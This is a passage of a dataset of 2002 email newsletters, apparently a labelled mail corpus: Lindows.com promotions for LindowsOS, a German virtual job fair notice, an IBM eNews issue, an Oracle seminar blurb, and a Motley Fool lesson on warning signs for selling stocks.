a great value since = they're=20 included in the Warehouse. = Sometimes=20 there are no viable alternatives for those programs, so = we're=20 investing necessary resources to support some Microsoft = Windows=20 based programs. Stay tuned for more developments in this = area. Our=20 printer support is ok, but there's lots of room for more = drivers.=20 Connecting to MS Windows based file servers is still a = challenge. We=20 need to get better in the above areas.  Grade: = B=20 Communication: We've tried to=20 be diligent in communicating where our company is going = which is why=20 there's typically a weekly Michael's Minute. = While our=20 overall goal has not deviated - Bringing Choice To Your = Computer -=20 our implementation has become more focused as we listened to = what=20 our Insiders and potential customers have told us. (Keep = sending me=20 your comments.) We have been de-emphasizing running = Microsoft=20 Windows programs because many of you told us you detest = spending=20 hundreds of dollars on individual software programs, forced = upgrades=20 and activation codes. It's not just the operating system, = but costly=20 Microsoft programs you're wanting to avoid. Consequently,=20 we've been emphasizing Click-N-Run because it will change = the way=20 you think about software. Having a neatly categorized = library of=20 1,000+ software = titles all for=20 a flat annual fee at your digital fingertips is an entirely = new way=20 to think about paying for software. It's immediate, elegant = and=20 affordable. There are lots=20 of mischaracterizations about Lindows.com swirling around - = which=20 happens when you have a small organization which can't = address every=20 question or publication. We'll do a better job of addressing = these=20 in the future. For now, I wrote up answers to the Top Myths = about=20 Lindows.com. Check them out by visiting: www.lindows.com/myths =20 Grade:=20 B+ Overall:=20 B+ Michael Robertson Please visit support.lindows.com = to answer=20 questions you may have about LindowsOS or = Lindows.com. Bringing Choice to Your Computer! =   LindowsOS is=20 presently available on LindowsOS Certified Computers being = offered=20 from Lindows.com Builder partners.  = The General=20 Release of LindowsOS (available now for download and preview = to=20 Lindows.com Insider partners) will be = made=20 available later this year for those wishing to install and = run=20 LindowsOS on their existing computer hardware.  The = General=20 Release version will support a wider range of computer = hardware and=20 includes unique features such as a = “Friendly-Install” alongside an=20 existing Microsoft® Windows operating system, a = streamlined=20 installation process which requires no computer knowledge, = and the=20 ability to run a select set of ""bridge"" Windows-compatible = programs.=20 For more information see www.lindows.com/products  LindowsOS and Lindows.com are trademarks = of=20 Lindows.com, Inc. Linux® is a registered trademark of = Linus=20 Torvalds. Microsoft® Windows® operating system is a = registered=20 trademark or service mark of the Microsoft = Corporation. mm18 __________________________________________________________= _To change your mailing list options please go to www.lindows.com/update<= /P> ------=_LINDOWS_1890362a5620f32f969ae58b8fe2ef84--",0,1 """jobfair24 "" ","""Xxxxxxxxx.Yyyyyyy@web.de"" ","Wed, 3 Jul 2002 1:19:14 +0200","Jobs, Jobs, Jobs: HEUTE, 03.07.02 ist virtueller Messetag der jobfair24!!!","Hallo Xxxxxxxxx Yyyyyyy, HEUTE, 03. Juli, ist monatlicher Messetag der virtuellen 3D-Job-Messe!! Ihre Chance, die Weichen fuer einen erfolgreichen Berufsein- und Karriereaufstieg zu stellen. Zwischen 13 und 18 Uhr erwarten Sie HEUTE die Personalmanager zahlreicher Unternehmen, die Stellen fuer engagierte neue Mitarbeitern anbieten. Dieser Link fuehrt Sie direkt in die 3D-Messehalle! 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Um sich aus der Liste zu loeschen einfach hier klicken: http://www.jobfair24.de/cgi-bin/newsletter/unsubscribe.cgi oder besuchen Sie uns doch einmal auf unserer Homepage http://www.jobfair24.de/start.html und lassen Sie sich vom Flair der weltweit ersten virtuellen 3D-Job-Messe begeistern!",0,1 """Michael Robertson"" ",Xxxxxxxxx.Yyyyyyy@web.de,"Tue, 2 Jul 2002 16:54:22 -0800",Lindows.com: Michael's Minute: Do the Math...Dispel the Myths,"------=_LINDOWS_6a72a16a171d3ceefdc7477961871f6d Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit If this message is not displaying properly, click here to launch it in your browser. Michael's Minute: Do the Math...Dispel the Myths A reporter came by the Lindows.com offices last Friday. He told me that he wanted to try and use LindowsOS to write a story, but he didn't think it was possible because his office used Microsoft Word .doc files. I asked him to have a seat and watch. I turned on the Walmart.com computer and then clicked on the running man which took me to the Click-N-Run Warehouse where I installed OpenOffice using Click-N-Run. I then clicked the ""Run It"" button which opened the word processor OpenOffice Writer. I then typed ""Linux is ready for the desktop and consumers can save hundreds using LindowsOS."" I selected ""Save as Microsoft Word."" The reporter was not only surprised, he was amazed. Like many reporters, he was under the impression that Linux was only for servers. The simple word processor demonstration went a long way to show him otherwise. For Linux to become a driving force in desktop computing it will have to overcome a couple of myths. The first myth is that Linux is too hard to install and configure. That may have been true in the past, but we've annihilated this myth with the latest version of LindowsOS --which installs on most machines in under 5 minutes. It's point- and-shoot easy - easier than any other operating system (Microsoft products included). See for yourself at . The other myth is that Linux is just for the server and none of the graphical programs --which desktop users have come to rely on-- exist. Not only have many of the Linux software programs made quantum leaps over the last couple of years, but they've gotten quite good at reading and writing Microsoft formats. The easiest way to experience these products is via the Click-N-Run Warehouse. Here's a quick list of some of the quality programs available today in the Warehouse all downloaded and installed with a single click: OpenOffice - This one installation will equip a computer with an impressive collection of productivity programs each of which will open the corresponding Microsoft file format and allow you to edit files and swap them with Microsoft counterparts. Programs included are: OpenOffice Writer - Word processor (reads Microsoft Word docs) OpenOffice Calc - Spreadsheet (reads Microsoft Excel) OpenOffice Impress- Presentation package (reads Microsoft PowerPoint) OpenOffice Draw - A vector based drawing program Click here for a great tutorial on getting to know OpenOffice. GIMP If you are familiar with Adobe's Photoshop, you'll want to Click-N-Run GIMP. It's a powerful image editor. Evolution For those used to Microsoft's Outlook email program Evolution will make them feel right at home. Check out how easy it is to use . Flowchart Pro, which is similar to Microsoft's Visio, is a rich charting program that makes it possible to create flow charts and organizational charts, plus more. See how easy it for yourself, visit Flowchart Pro at This is just a handful of the quality programs available in the Warehouse that make Linux a practical choice for the desktop today. And if you're still not convinced, then do the math. For a total cost of $499 , including all software, computer users save more than $800 for a complete system. With such major price differentials between the two similarly equipped systems, any business, school or home will find their computing dollars stretched much further running LindowsOS. Michael Robertson Please visit to answers questions you may have about LindowsOS or Lindows.com. Bringing Choice to Your Computer! LindowsOS is presently available on LindowsOS Certified Computers being offered from Lindows.com Builder partners. The General Release of LindowsOS (available now for download and preview to Lindows.com Insider partners) will be made available later this year for those wishing to install and run LindowsOS on their existing computer hardware. The General Release version will support a wider range of computer hardware and includes unique features such as a ""Friendly-Install"" alongside an existing MicrosoftR Windows operating system, a streamlined installation process which requires no computer knowledge, and the ability to run a select set of ""bridge"" Windows-compatible programs. For more information see LindowsOS and Lindows.com are trademarks of Lindows.com, Inc. LinuxR is a registered trademark of Linus Torvalds. MicrosoftR WindowsR operating system is a registered trademark or service mark of the Microsoft Corporation. mm19 ___________________________________________________________ To change your mailing list options please go to ------=_LINDOWS_6a72a16a171d3ceefdc7477961871f6d Content-Type: text/html; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Message   If this message is = not=20 displaying properly, click here to = launch it=20 in your browser. Michael’s = Minute: Do the=20 Math...Dispel the Myths   A = reporter came=20 by the Lindows.com offices = last Friday.=20 He told me that he wanted to try and use=20 LindowsOS to write a story, but he didn't think it was = possible=20 because his office used Microsoft Word .doc files. I asked = him to=20 have a seat and watch.   I = turned on the=20 Walmart.com = computer and=20 then clicked on the running man  which took me to the Click-N-Run Warehouse = where I=20 installed OpenOffice = using=20 Click-N-Run. I then clicked the ""Run It""  button which = opened=20 the word processor OpenOffice Writer. I then typed ""Linux = is=20 ready for the desktop and consumers can save hundreds using=20 LindowsOS."" I selected ""Save as Microsoft=20 Word."" The = reporter was=20 not only surprised, he was amazed. Like many reporters, he = was under=20 the impression that Linux was only for servers. The simple = word=20 processor demonstration went a long way to show him = otherwise. For=20 Linux to become a driving force in desktop computing it will = have to=20 overcome a couple of myths.  The = first myth=20 is that Linux is too hard to install and configure. That may = have=20 been true in the past, but we’ve annihilated this myth = with the=20 latest version of LindowsOS --which installs on most = machines in=20 under 5 minutes. It's point- and-shoot easy - easier than = any other=20 operating system (Microsoft products included). See for = yourself at=20 www.tryoutlinux.com.=20   The = other myth=20 is that Linux is just for the server and none of the = graphical=20 programs --which desktop users have come to rely on-- exist. = Not=20 only have many of the Linux software programs made quantum = leaps=20 over the last couple of years, but they've gotten quite good = at=20 reading and writing Microsoft formats. The easiest way to = experience=20 these products is via the Click-N-Run=20 Warehouse.  Here's a quick list of = some of=20 the quality programs available today in the Warehouse all = downloaded=20 and installed with a single click: OpenOffice - This one installation will = equip a=20 computer with an impressive collection of productivity = programs each=20 of which will open the corresponding Microsoft file format = and allow=20 you to edit files and swap them with Microsoft counterparts. = www.lindows.com/openoffice= =20  Programs included are: OpenOffice=20 Writer - Word processor (reads Microsoft Word docs)=20 OpenOffice Calc - Spreadsheet (reads Microsoft = Excel)=20 OpenOffice Impress- Presentation package (reads = Microsoft=20 PowerPoint)OpenOffice Draw - A vector based = drawing=20 program Click here for = a great=20 tutorial on getting to know OpenOffice. GIMP (www.lindows.com/gimp)=20 If you are familiar with Adobe's = Photoshop,=20 you'll want to Click-N-Run GIMP. It's a powerful image = editor.=20   Evolution=20  (www.lindows.com/evolution) = For those used to Microsoft's Outlook email program = Evolution will=20 make them feel right at home. Check out how easy it is to use. Flowchart=20 Pro, which is similar to Microsoft’s Visio, is a =  rich=20 charting program that makes it possible to create flow = charts and=20 organizational charts, plus more. See how easy it for = yourself,=20 visit Flowchart Pro at  www.lindows.com/flowch= artpro This=20 is just a handful of the quality programs available in the = Warehouse=20 (www.lindows.com/warehouse) = that make Linux a practical choice for the desktop today. = And if=20 you're still not convinced, then do the math. For  a total=20 cost of $499, = including=20 all  software, computer users save  more than = $800 =20 for a complete system. With = such major=20 price differentials between the two similarly equipped = systems, any=20 business, school or home will find their computing dollars = stretched=20 much further running LindowsOS. Michael = Robertson Please visit support.lindows.com = to=20 answers questions you may have about LindowsOS or=20 Lindows.com. Bringing Choice to Your = Computer!=20 LindowsOS is presently available on LindowsOS = Certified=20 Computers being offered from Lindows.com Builder = partners. =20 The General Release of LindowsOS (available now for download = and=20 preview to Lindows.com Insider = partners) will be=20 made available later this year for those wishing to install = and run=20 LindowsOS on their existing computer hardware.  The = General=20 Release version will support a wider range of computer = hardware and=20 includes unique features such as a = “Friendly-Install” alongside an=20 existing Microsoft® Windows operating system, a = streamlined=20 installation process which requires no computer knowledge, = and the=20 ability to run a select set of ""bridge"" Windows-compatible = programs.=20 For more information see www.lindows.com/products  LindowsOS and Lindows.com are = trademarks=20 of Lindows.com, Inc. Linux® is a registered trademark of = Linus=20 Torvalds. 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Sie erhalten dann Business- Informationen nach Ma: http://www.ibm.com/de/profile/change_interests.html Alle Artikel knnen Sie jederzeit online auf dieser Webseite aufrufen: http://www.ibm.com/de/news/enews/online/ Wir halten Sie auf dem Laufenden IBM eNews Wenn Sie in Zukunft IBM eNews nicht mehr erhalten mchten, knnen Sie sich auf dieser Webseite abmelden: http://www.ibm.com/de/profile/unsubscribe.html In der heutigen Ausgabe: ======================== e-business o Wimbledon gewinnt: Mit Hilfe von IBM auch online ein packendes Ereignis http://isource.ibm.com/cgi-bin/goto?on=de020756 o Neues Buch ""Deutschland Online"" weist Weg in die Informationsgesellschaft http://isource.ibm.com/cgi-bin/goto?on=de020757 o Weitere Artikel aus dem Bereich ""e-business"" http://isource.ibm.com/cgi-bin/goto?on=020758 Business Lsungen und Services o Mehr Training fr alle: IBM Learning Services Corporate Card http://isource.ibm.com/cgi-bin/goto?on=020721 o Weitere Artikel aus dem Bereich ""Business Lsungen und Services"" http://isource.ibm.com/cgi-bin/goto?on=020759 IT Solutions und Services o e-guide aktuell: Produkte und Lsungen fr den Mittelstand - zusammengefasst im IBM Kundenmagazin! http://isource.ibm.com/cgi-bin/goto?on=020710 o Sprechen Sie mit uns: Sicherheit ist Trumpf http://isource.ibm.com/cgi-bin/goto?on=020712 o Weitere Artikel aus dem Bereich ""IT Solutions und Services"" http://isource.ibm.com/cgi-bin/goto?on=020760 Software o Software fr den Mittelstand http://isource.ibm.com/cgi-bin/goto?on=020711 o WebSphere Integration http://isource.ibm.com/cgi-bin/goto?on=020724 o Weitere Artikel aus dem Bereich ""Software"" http://isource.ibm.com/cgi-bin/goto?on=020761 Hardware o Neu: IBM ThinkPad A31p - Die erste mobile 3D-Workstation! http://isource.ibm.com/cgi-bin/goto?on=de020707 o IBM eServer* pSeries 630 6E4/6C4 - Ankndigung des neuen Entry Servers http://isource.ibm.com/cgi-bin/goto?on=020713 o Weitere Artikel aus dem Bereich ""Hardware"" http://isource.ibm.com/cgi-bin/goto?on=020762 ------------------------------------------------------------ e-business ------------------------------------------------------------ Wimbledon gewinnt: Mit Hilfe von IBM auch online ein packendes Ereignis Die neue Turnier-Website bietet Tennisfans in aller Welt sekundenaktuelle Spielstnde, Live-Videos, Kommentare und Interviews. Mit e-business on demand lsst sich dabei die erforderliche Kapazitt fr den Ansturm whrend des Turniers einfach einschalten - und anschlieend ebenso einfach wieder abschalten. Ein echter Service-Gewinn, Klick fr Klick. http://isource.ibm.com/cgi-bin/goto?on=de020756 Neues Buch ""Deutschland Online"" weist Weg in die Informationsgesellschaft ""Die schnelle Transformation in die Informationsgesellschaft ist Deutschlands letzte Chance, um im Kreis der groen Wirtschaftsmchte zu verbleiben. Deutschland muss IT-Weltmacht werden - und das pronto!"" Das verlangte der Vorsitzende der Geschftsfhrung der IBM Deutschland, Erwin Staudt, anlsslich der Vorstellung des Buches ""Deutschland online"" - Strategien und Projekte fr die Informationsgesellschaft - in Berlin. http://isource.ibm.com/cgi-bin/goto?on=de020757 Weitere Artikel aus dem Bereich ""e-business"" Weitere Artikel aus dem Bereich ""e-business"" finden Sie online auf unserer IBM eNews Website: http://isource.ibm.com/cgi-bin/goto?on=020758 Unter folgender Adresse knnen Sie Ihre Interessensgebiete auswhlen und erhalten dann Business-Informationen nach Ma: http://www-5.ibm.com/de/profile/change_interests.html ------------------------------------------------------------ Business Lsungen und Services ------------------------------------------------------------ Mehr Training fr alle: IBM Learning Services Corporate Card IBM Learning Services bietet Ihnen preisgnstige Trainings: Mit der IBM Learning Services Corporate Card sparen Sie bis zu 1.650 Euro. Im Unterschied zur IBM Learning Services Education Card knnen Sie damit alle Ihre Mitarbeiter/innen zu den Trainings senden. http://isource.ibm.com/cgi-bin/goto?on=020721 Weitere Artikel aus dem Bereich ""Business Lsungen und Services"" Weitere Artikel aus dem Bereich ""Business Lsungen und Services"" finden Sie online auf unserer IBM eNews Website: http://isource.ibm.com/cgi-bin/goto?on=020759 Unter folgender Adresse knnen Sie Ihre Interessensgebiete auswhlen und erhalten dann Business-Informationen nach Ma: http://www-5.ibm.com/de/profile/change_interests.html ------------------------------------------------------------ IT Solutions und Services ------------------------------------------------------------ e-guide aktuell: Produkte und Lsungen fr den Mittelstand - zusammengefasst im IBM Kundenmagazin! Mit dieser Ausgabe bernehmen wir Teile des Heftes auch im Web. Lesen Sie hier mehr ber den neuen Produkt- und Lsungsteil oder bestellen Sie sich Ihr Exemplar des IBM Kundenmagazins ""e-guide"" 2/2002. http://isource.ibm.com/cgi-bin/goto?on=020710 Sprechen Sie mit uns: Sicherheit ist Trumpf Sie machen sich sicherlich Gedanken darber, ob Ihre e-business Infrastruktur wirkungsvoll geschtzt ist - insbesondere vor dem Hintergrund sich ffnender Strukturen. IBM - als einer der Vorreiter im Bereich e-business Sicherheits- strategien - bietet Ihnen Lsungen, mit denen Sie Ihre IT-Infrastruktur sichern knnen. berzeugen Sie sich selbst: http://isource.ibm.com/cgi-bin/goto?on=020712 Weitere Artikel aus dem Bereich ""IT Solutions und Services"" Weitere Artikel aus dem Bereich ""IT Solutions und Services"" finden Sie online auf unserer IBM eNews Website: http://isource.ibm.com/cgi-bin/goto?on=020760 Unter folgender Adresse knnen Sie Ihre Interessensgebiete auswhlen und erhalten dann Business-Informationen nach Ma: http://www-5.ibm.com/de/profile/change_interests.html ------------------------------------------------------------ Software ------------------------------------------------------------ Software fr den Mittelstand Hier finden Sie ausgewhlte Software-Produkte mit Beispielen unserer zufriedenen Kunden. Die IBM Produktfamilien WebSphere, DB2, Lotus und Tivoli sind die Basis fr eine Vielfalt von e-business Lsungen. Sie sind industrie-spezifisch, skalierbar ausgerichtet und basieren auf offenen Standards, so dass sie speziell auf die Bedrfnisse des Mittelstandes zugeschnitten werden knnen. http://isource.ibm.com/cgi-bin/goto?on=020711 WebSphere Integration Mit WebSphere Integration versucht die IBM keine Technologie zu vermarkten, die die unberschaubare Vielfalt der Individual- programmierungen um neue Facetten bereichert. Vielmehr agiert sie wie ein Katalysator und ermglicht die Erweiterung und Erneuerung von Systemlandschaften sowie die Migration von geschftskritischen Daten. Mehr dazu im Software-Schwerpunkt des Monats. http://isource.ibm.com/cgi-bin/goto?on=020724 Weitere Artikel aus dem Bereich ""Software"" Weitere Artikel aus dem Bereich ""Software"" finden Sie online auf unserer IBM eNews Website: http://isource.ibm.com/cgi-bin/goto?on=020761 Unter folgender Adresse knnen Sie Ihre Interessensgebiete auswhlen und erhalten dann Business-Informationen nach Ma: http://www-5.ibm.com/de/profile/change_interests.html ------------------------------------------------------------ Hardware ------------------------------------------------------------ Neu: IBM ThinkPad A31p - Die erste mobile 3D-Workstation! Der ThinkPad A31p (TV2N6GE, TV2L3GE, TV2N5GE) ist ausgerstet mit einem Intel Pentium 4 Notebookprozessor-M, schnellen DDR Speicher- modulen und einem extrem leistungsfhigen Grafikchip. Auch die Highspeed Festplatte lsst keine Wnsche offen. Zwei modulare Laufwerkschchte sorgen fr ein Plus an Flexibilitt. Das Notebook ist mit einer 10/100 Ethernet-Karte, einem 56K V.92 Modem, integrierten 802.11b Wireless-Antennen/-Chip, Bluetooth sowie einem IEEE 1394 (Firewire)-Anschluss ausgerstet. http://isource.ibm.com/cgi-bin/goto?on=de020707 IBM eServer* pSeries 630 6E4/6C4 - Ankndigung des neuen Entry Servers IBM definiert den UNIX Entry Server neu. Zuverlssigkeit und Verfgbarkeit der POWER4-Prozessortechnologie jetzt vom Entry- bis zum Enterprise-Bereich, mit Selbstverwaltungsfunktionen aus dem Projekt eLiza, ultraflaches Rack- oder Deskside-Modell, die richtige Wahl fr kleine und mittelstndische Unternehmen. http://isource.ibm.com/cgi-bin/goto?on=020713 Weitere Artikel aus dem Bereich ""Hardware"" Weitere Artikel aus dem Bereich ""Hardware"" finden Sie online auf unserer IBM eNews Website: http://isource.ibm.com/cgi-bin/goto?on=020762 Unter folgender Adresse knnen Sie Ihre Interessensgebiete auswhlen und erhalten dann Business-Informationen nach Ma: http://www-5.ibm.com/de/profile/change_interests.html ============================================================ Sie erhalten diese E-Mail, da Sie zu IBM eNews angemeldet sind als XXXXXX.YYYYYYYYYY@RUHR-UNI-BOCHUM.DE *Das IBM eServer Warenzeichen besteht aus dem eingefhrten IBM e-business Logo, gefolgt von dem beschreibenden Begriff ""Server"". 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New Internet Seminar: J2EE and Web Services on Linux with Oracle9iAS Release 2 Attend this on-demand Internet Seminar to learn how to use Oracle9i Application Server Release 2 to develop high performance J2EE and Web Services applications on the Linux operating systems. This Month's Feature | News | Software Downloads | Oracle University | New Books | Worldwide Events News Special Discount on Red Hat Linux Advanced Server Receive up to 45% discount on the initial purchase of Red Hat Linux Advanced Server. Find out how! Offer valid July 1- July 31, 2002. To get more information on Oracle and Linux, click here. Helping WebGain Developers Move to Oracle9i JDeveloper With all the consolidation taking place in the Java tools space, developers are seeking tools that provide a complete and integrated environment for developing J2EE applications and Web services, and also offer security and stability for the future. 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TO CONVERT YOUR SUBSCRIPTION TO PLAIN TEXT OR TO UNSUBSCRIBE, SEND AN EMAIL TO otto@fool.com OR VISIT http://www.fool.com/community/freemail/freemaillogin.asp ******************************************************************* --Groovy-Foolish-Boundary-2A6F4DA4EE1F4ABCB782 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline ================================================================= THE MOTLEY FOOL ONLINE SEMINAR WHEN TO SELL: THE FOOLISH SELLING STRATEGY ================================================================= SEMINAR RESOURCES ================================================================= START PAGE http://www.fool.com/m.asp?i=690047 ORIENTATION http://www.fool.com/m.asp?i=690048 DOWNLOADS http://www.fool.com/m.asp?i=690049 LESSON RESOURCES http://www.fool.com/m.asp?i=690050 DISCUSSION BOARD INTRO http://www.fool.com/m.asp?i=690051 DISCUSSION BOARD FAQ http://www.fool.com/m.asp?i=690052 HOW DO I...? http://www.fool.com/m.asp?i=690053 CHOOSE YOUR TEAM http://www.fool.com/m.asp?i=690054 ================================================================= LESSON 2: COMPANIES GONE WRONG Instructors: Bill Mann, TMF Otter (with Matt Richey, TMF Matt) http://www.fool.com/m.asp?i=690055 http://www.fool.com/m.asp?i=690056 In Lesson 1, we offered a list of red flags that trigger instant sales. These things are pretty easy to spot, if you keep up with current events surrounding the companies you hold. Notice that we didn't spend much (meaning any) time discussing Wall Street analyst upgrades or downgrades. This is for one reason: We don't care what analysts think, and we certainly don't put any credence in their deeply compromised ratings systems. Sure, we read analyst research. After all, many analysts have significantly more access to business management than we ever will as individual investors, so they can have some valuable insights. But if you want to watch a much better predictor of company trouble than analyst rating systems, watch the bond market (more on this later). ""Strong buy?"" Pfffffft. In this lesson, we look specifically at signs that a company is slipping. Investors need to remember one key point: For highly valued companies, it only takes a small slip to lead to a large share price decline. For example, a company priced at a multiple of 30 times earnings is expected to grow faster than one that is priced at 15 times. As a result, investors in the high-multiple company are much more likely to be traumatized if its business starts to show slowing growth (in earnings, sales, cash flows, whatever). Thus, with highly valued companies in particular, it's important to be vigilant in monitoring any slips. Even a company that's growing nicely may be sending clear sell signals. So let's look at a few instances where companies have started to go wrong. Our goal here is to learn how to recognize the warning signs of an impending stock collapse before it happens. WARNING SIGN 1: SLOWING SALES GROWTH Through 2000, Nokia (NYSE: NOK) could do no wrong. It was one of the fastest-growing stocks in the '90s and the largest, best capitalized participant in one of the hottest sectors of the market: wireless telecommunications. In 2000, Nokia posted revenue gains well in excess of 50% each quarter. Then, in April 2001, it hit a clunker -- 22% growth, followed by 5% growth the next quarter. For investors in a high-multiple (high P/E) company, this is rough. For most companies, a second quarter in a row of dramatically slowing sales is enough. Get out. For a barnburner like Nokia, one is enough. Some words of wisdom: Keep companies in one of the hottest sectors on a very short leash. Hot sectors cool off -- they always do. Remember, railroads were once the hot sector, then canals, car companies, radios, and so on. It ends. Be ready. If you're expecting sales to continue roaring full-steam ahead and they don't, it's time to position your finger on the sell trigger. If sales growth slows unexpectedly, be prepared to give a company one quarter to bring up its performance. But unload on the second straight quarter of slowing sales, measured on a year-over-year basis. (Always compare the quarterly growth on a year-over-year basis -- a comparison of sequential quarterly growth is a worthless measure. Seasonal effects can skew sequential growth.) WARNING SIGN 2: DIVERGENT SALES AND PROFIT GROWTH By April 2001, Nokia had shed some 60% of its peak value. Signs were surely evident in advance, right? Why, yes. Companies growing top lines (sales) should generally be growing bottom lines (earnings) at a similar clip. Even though Nokia's sales were growing through 2000 at 50%-plus per quarter, at the end of the year, net profit growth dropped suddenly from around 70% to 40%. Profits recovered slightly in the fourth quarter, only to collapse in the first two quarters of 2001. The economics changed quickly, and with a hyper-growth company, the stock reacted just as fast. Even those not deeply versed in the technology and economics of the mobile phone industry could see signs that something was wrong. WARNING SIGN 3: PLUMMETING CASH FLOWS In 1999, Lucent (NYSE: LU) looked beautiful from an earnings perspective, but horrible from a cash flow perspective. We look at two numbers: operating cash flow and free cash flow. Free cash flow can be low for growing companies, as they have significant capital investment demands, but low operating cash flow is inexcusable. Lucent's experiences are telling. In 1999, Lucent's full-year earnings came out at a gaudy $4.7 billion, based upon $38 billion in revenue. The company was on top of the world, and it was, at the time, the largest telecommunications equipment company by market cap, at $260 billion. http://www.fool.com/m.asp?i=690057 http://www.fool.com/m.asp?i=690058 But as Matt and I detailed in January 2000, big troubles were afoot, lurking in the company's cash flow statement. On an operating cash flow basis for fiscal 1999, the company lost $276 million. That's a far cry from the $4.7 billion in reported net income. And on top of that, Lucent had more than $2.2 billion in capital expenditures. Thus, the difference between Lucent's earnings and its free cash flow (operating cash flow minus capital expenditures) was an amazing $7.3 billion, and not in a good way. http://www.fool.com/m.asp?i=690059 The investor who picked up on this scary dichotomy could have saved herself losses in excess of 98%. (As an aside, since 1999, Lucent has gone on to restate its 1999 cash flow not once, but twice, and in the most recent 10-K, the 1999 operating cash flow is reported as a loss of $1.8 billion.) And get this -- you'll see nearly the exact same thing on Enron's old financial statements. Cooked books or no, they weren't generating much cash. In fact, they were destroying it. WARNING SIGN 4: WATCH THOSE BONDS Remember what we said about ignoring analysts? Well, it's because their information can be quite conflicted, and it's almost impossible to tell if any one individual has your best interests in mind. Fortunately, another group can give you the same type of signals: investors who hold a company's bonds. Bondholders buy a piece of a company's debt and are generally paid interest on this obligation by the company. Watch the current price of a bond, and it will tell you the current odds bondholders are giving to that obligation being paid. I recommend keeping a log sheet where you write down the price of the bond. Download it here. If you see a drop, the bondholders are growing pessimistic. You might even see this at the same time analysts are shouting, ""Strong buy!"" http://www.fool.com/m.asp?i=690060 http://www.fool.com/m.asp?i=690061 I recommend the Yahoo! Bond Center. You can search on any company and get a list of existing bonds. Find a bond with a maturity between five and 10 years hence. Check the price. A bond priced at 100 is at ""par,"" which means that the bond's face-value interest rate fairly compensates the investor for the risk. Some bonds are priced above 100, meaning the interest yield will be lower than face value. These are considered to be very low risk. But some are priced below face value, even way below. http://www.lnksrv.com/m.asp?i=690062 As of this writing, WorldCom (Nasdaq: WCOME) bonds are priced at 18, which means that bondholders assume there's little chance they'll be paid. Tyco (NYSE: TYC), for all of its recent problems and high levels of debt, has 6.75% interest bonds, with 2011 maturity priced at 83. That's a discount to face, but not one that alludes to an imminent default. Qwest (NYSE: Q) sports a price of 85 on its 7.25% 2011 bonds, even closer to par than Tyco. These prices don't indicate healthy companies, but they don't insinuate imminent default or bankruptcy either. WARNING SIGN 5: ""IT JUST DOESN'T GET ANY BETTER"" For a brief time in 2000, Cisco Systems (Nasdaq: CSCO) was the largest company in the world by market capitalization. This should have been a warning. As I wrote in May 2000 when the stock was around $57, Cisco's valuation of nearly $400 billion implied that investors expected the company's earnings to reach $34 billion in 2010. Yet no company had ever generated earnings higher than $12 billion in a single year. http://www.fool.com/m.asp?i=690063 As it turned out, I almost perfectly called the top for Cisco -- it has shed nearly $300 billion in market cap since that article. Only those that decided it couldn't possibly get any better achieved a sale near the high watermark. Cisco showed no signs of a decline. For the quarter that ended Jan. 29, 2000, Cisco turned in sales of $4.3 billion, as compared to $2.8 billion for the same quarter the year before -- a growth rate of 53%. The following quarter was 58% higher, then 62% higher, then 66% higher. Only Cisco's stock price rise could beat these numbers. Imagine a $385 billion company with a P/E of 156! The assumptions for future growth were mind-bending, though at the time, in the midst of the data revolution, they seemed plausible. As investors, we must be on the correct side of probabilities. Taking a portion of our Cisco investment off the table, at this point, would've been a smart choice. Remember, Cisco's business was fine in 2000, but the enterprising investor knows that a lot has to be right for the situation to work out. HOMEWORK For this lesson, we ask you to do the same thing as we did after Lesson 1. Pick a company -- maybe even the same company you looked at last time -- to continue studying. For your company, do the following: - Track the year-over-year sales growth for each of the past four quarters and three fiscal years. Is growth accelerating, staying about the same, or weakening? - Track the year-over-year net income growth for each of the past four quarters and three fiscal years. Is net income growing slower or faster than sales? Is there a trend to these figures? - Track your company's operating cash flow for each of the past three fiscal years. Is it lower or higher than reported net income for the corresponding year? (We're not having you look at quarterly cash flow because those figures can bounce around due to the timing of payments. Annual cash flow data is much more indicative of real cash flow trends.) - If your company has long-term debt, go the Yahoo! Bond Center and check the price of your company's bonds. (If you don't know whether your company has any debt, just type your company name into the bond center and see if any debt shows up.) http://www.lnksrv.com/m.asp?i=690064 - Finally, examine your company's market cap relative to its current net income over the past year. What's the P/E ratio? Is there reason to believe your company has every rosy scenario already priced into its stock? (In the current bear market, this is much less likely than it was a few years ago, but it's still a question you should consider.) To help you out, we've put together the Foolish Stock Information Form to track all of your research and information about your stocks. You can get to by clicking here. We've also outlined how to find all of the information above, here. http://www.fool.com/m.asp?i=690065 http://www.fool.com/m.asp?i=690066 So dust off the old calculator, find your company's financials, and get to work. Quarterly financial data is best found in company 10-Qs, and annual data is best found in company 10-Ks. You should be able to find all of this information using financials from either the company website or at Fool.com on the Quotes & Data area. http://www.fool.com/m.asp?i=690067 FEELING A LITTLE LOST? If you're new to using SEC filings, read this overview of financial statements. Above all else, just do your best. Once you've done what you can, report your findings to your teammates! We've also put together an ongoing list of resources so you can dive in a little deeper. You can click on the ""Lesson Resources"" link in the right column or click here to find more resources to help you better understand financial statements, general investing equations, and stock options. http://www.fool.com/m.asp?i=690068 http://www.fool.com/m.asp?i=690069 Matt and I will be joining you on the boards with our own analyses, so you can examine our processes. http://www.fool.com/m.asp?i=690070 Fool on! Bill and Matt ================================================================= LESSON PLAN ================================================================= Lesson 1: On Selling http://www.fool.com/m.asp?i=690071 Lesson 2: Companies Gone Wrong http://www.fool.com/m.asp?i=690072 Lesson 3: Gut Checks and Safety Valves Lesson 4: When a Company Becomes Overvalued Lesson 5: Report Card Part 1 - Business Prospects Lesson 6: Report Card Part 2 - Valuation Lesson 7: Panning for Panera Lesson 8: The Report in Action - Johnson & Johnson ================================================================= This Seminar contains the opinions and ideas of The Motley Fool. It is provided with the understanding that The Motley Fool is not engaged in rendering financial or other professional services. The Motley Fool specifically disclaims any responsibility for any liability, loss, or risk, personal or otherwise, which is incurred as a consequence, directly or indirectly, of the use and application of any of the contents of this Seminar. Copyright (c) 1995-2002 The Motley Fool. All rights reserved. Legal Information: http://www.fool.com/m.asp?i=554475 --Groovy-Foolish-Boundary-2A6F4DA4EE1F4ABCB782 Content-Type: text/html Content-Disposition: inline The Motley Fool Online Seminar: When To Sell: The Foolish Selling Strategy Lesson 2: Companies Gone Wrong Instructors: Bill Mann, TMF Otter (with Matt Richey, TMF Matt) In Lesson 1, we offered a list of red flags that trigger instant sales. These things are pretty easy to spot, if you keep up with current events surrounding the companies you hold. Notice that we didn't spend much (meaning any) time discussing Wall Street analyst upgrades or 